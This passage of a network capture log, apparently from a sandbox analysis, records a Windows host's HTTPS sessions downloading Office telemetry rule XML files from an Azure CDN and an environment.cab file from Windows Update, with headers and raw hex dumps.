2024-11-15 08:55:26 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:26 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:27 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085527Z-1866b5c5fbb8pmbjhC1DFW6z0c000000013g000000005s22 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:26 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085526Z-16547b76f7fxdzxghC1DFWmf7n0000000n00000000007ysv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:27 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:26 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: f6edb455-601e-0002-0aa1-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085527Z-164f84587bfjxw6fhC1DFWq944000000013g00000000bnqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	49791	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hgEsNErkf+gU6xl&MD=8taZkm3L HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-15 08:55:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cfbd1cdb-fa28-42a2-9ac5-e3838feac829 MS-RequestId: cb98f020-1dec-45e5-b59a-2ba0f7968872 MS-CV: c9DnybtAgUmUF2tW.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 15 Nov 2024 08:55:26 GMT Connection: close Content-Length: 24490
2024-11-15 08:55:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-15 08:55:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:27 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:27 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085527Z-1866b5c5fbbkcpv2hC1DFWf1yc000000011g0000000096ar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:27 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:27 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085527Z-16547b76f7f7rtshhC1DFWrtqn0000000mug00000000fhfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:27 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:27 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085527Z-16547b76f7fwvr5dhC1DFW2c940000000mwg00000000246r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:27 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:27 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085527Z-16547b76f7fffb7lhC1DFWdsxg0000000190000000004qdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:27 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:27 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:27 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:27 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 20fb2c0e-901e-0029-5aa7-36274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085527Z-1866b5c5fbbsqznnhC1DFWg28g00000001b0000000001wx7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:27 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:27 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:28 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:27 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 96da997d-001e-0028-355d-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085527Z-16547b76f7f7rtshhC1DFWrtqn0000000mv000000000f9bd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:28 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:27 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:28 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:28 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 6b9ee1ab-f01e-0071-4fa1-34431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085528Z-1866b5c5fbbvqncjhC1DFW0gcw000000010000000000cr7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
